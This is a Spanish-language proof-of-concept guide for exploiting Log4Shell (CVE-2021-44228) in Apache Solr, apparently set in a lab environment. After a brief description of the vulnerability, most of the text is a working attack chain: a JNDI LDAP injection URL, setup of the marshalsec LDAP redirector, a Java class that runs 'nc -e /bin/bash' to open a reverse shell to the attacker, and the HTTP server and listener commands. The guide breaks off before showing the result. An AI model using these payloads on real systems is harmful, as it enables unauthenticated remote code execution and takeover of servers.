log4j CVE-2021-44228 POC
Explotacion de log4jshell CVE-2021-44228
El pasado jueves salió a la luz una vulnerabilidad que afecta al Java logging package llamado Log4j. Etiquetada como CVE-2021-44228
conocida por apodos como Log4Shell o LogJam y descubierta por el equipo de seguridad de Alibaba, el problema se refiere a un caso de ejecución remota de código no autenticado (RCE) en cualquier aplicación que use esta utilidad de código abierto y afecte a las versiones no parcheadas, de Apache Log4j 2.0-beta9 hasta la 2.14. 1. El error fue calificado con la puntuación máxima de 10 sobre 10 en el sistema de clasificación CVSS, lo que indica la enorme gravedad del problema.
Para aprovecharnos de esta vulnerabilidad puede ser fácil o a la vez no. La idea es encontrar algún parámetro con lo que enviemos se guarde en los logs para que luego se ejecute, puede ser tanto en el user-agent o en algún parámetro get o post de la url , etc
POC
Apache Solr 8.11.0 es una aplicación vulnerable en la que enviándole data en /solr/admin/cores?foo=
lo va a guardar en los logs. Podemos probar esto de la siguiente manera
enviando ${jndi:ldap://<IP><PUERTO>}
si es vulnerable nos debería traer una conexión ldap que no entiende la terminal
http://10.10.207.24:8983/solr/admin/cores?foo=${jndi:ldap://10.14.13.223:3000}
Una vez hecho esto, para ganar ejecución de comandos remota tenemos que hacer redireccionar la petición ldap
Usamos este proyecto que tenemos que compilar con maven
sudo apt install maven
https://github.com/mbechler/marshalsec
mvn clean package -DskipTests
Ya con nuestro ldap redirector usamos este comando para decirle que abra ruta en nuestro host en el puerto 8080, que próximamente crearemos
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<IP>:8000/#Exploit"
Ahora que tenemos nuestro servidor ldap listo, creamos nuestro payload final
Creamos un script en java el cual tenemos que compilar para que log4j lo ejecute
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash <IP> <PUERTO>");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java -source 8 -target 8
Por último creamos nuestro servidor en python en el puerto 8000 python3 -m http.server 8000
y nuestro netcat en escucha nc -lvp <PUERTO>
ahora enviamos en la máquina atacante
${jndi:ldap://10.14.13.223:1389/Exploit}
http://10.10.207.24:8983/solr/admin/cores?foo=${jndi:ldap://10.14.13.223:1389/Exploit}
Y en nuestro netcat que habíamos creado